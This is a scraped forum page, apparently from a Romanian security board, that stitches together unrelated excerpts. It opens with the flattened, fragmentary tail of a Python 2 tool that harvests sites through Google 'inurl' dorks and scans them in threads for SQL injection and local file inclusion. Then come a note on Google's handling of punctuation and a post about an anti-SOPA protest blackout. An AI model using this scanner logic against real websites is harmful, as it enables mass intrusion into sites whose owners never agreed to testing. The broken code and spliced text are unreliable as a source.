Working ..." i = len(usearch) / int(numthreads) m = len(usearch) % int(numthreads) z = 0 if len(threads) <= numthreads: for x in range(0, int(numthreads)): sliced = usearch[x*i:(x+1)*i] if (z<m): sliced.append(usearch[int(numthreads)*i+z]) z +=1 thread = injThread(sliced) thread.start() threads.append(thread) for thread in threads: thread.join() def lfitest(): print "\n[+] Preparing for LFI scanning ..." print "[+] Can take a while ..." print "[!] Working ..." i = len(usearch) / int(numthreads) m = len(usearch) % int(numthreads) z = 0 if len(threads) <= numthreads: for x in range(0, int(numthreads)): sliced = usearch[x*i:(x+1)*i] if (z<m): sliced.append(usearch[int(numthreads)*i+z]) z +=1 thread = lfiThread(sliced) thread.start() threads.append(thread) for thread in threads: thread.join() usearch = search(inurl,maxc) menu = True while menu == True: print R+"\n[1] Injection Testing" print "[2] LFI Testing" print "[0] Exit\n" chce = raw_input(":") if chce == '1': injtest() if chce == '2': lfitest() if chce == '0': print R+"\n[-] Exiting ..." mnu = False sys.exit(1) mirror
-
Google usually ignores punctuation and mathematical symbols from a query because it doesn't index them. They rarely change the meaning of a query and Google's index would have to grow a lot bigger, without improving the results too much. Some punctuation marks and mathematical symbols are used to provide advanced features (for example: colon, quotes, minus sign, plus sign). I've recently noticed that Google started to show results for queries like [.], [,], [:], [;], [#], [%], [@], [^], [)], [~], [|], ["], [<], [$]. When you search for [%], Google shows the results for [percent sign] and that happens irrespective of the interface language, so it's not a synonym generated by Google's algorithms. Search for [:] and you'll get the results for [colon]. Most results are about the colon from the human anatomy and they're not relevant. Google Search, Punctuation Marks and Other Symbols
-
Maine Wikpedia se inchide 24h[SOPA],poate fi urmat de Google si Facebook
Fi8sVrs replied to dragosh1904's topic in Off-topic
DEX online sus?ine greva anti-SOPA din Statele Unite. SOPA ?i PIPA sunt legi care vor conferi trusturilor media puteri f?r? precedent în îngr?direa libert??ii de exprimare pe Internet. Dac? aceste legi trec, ne putem a?tepta la legi similare ?i în Uniunea European? în viitorul apropiat. Pe 18 ianuarie, DEX online va afi?a un mesaj de protest pe fiecare pagin?. Pute?i citi informa?ii pe larg despre grev? ?i motivele noastre aici. dexonline.ro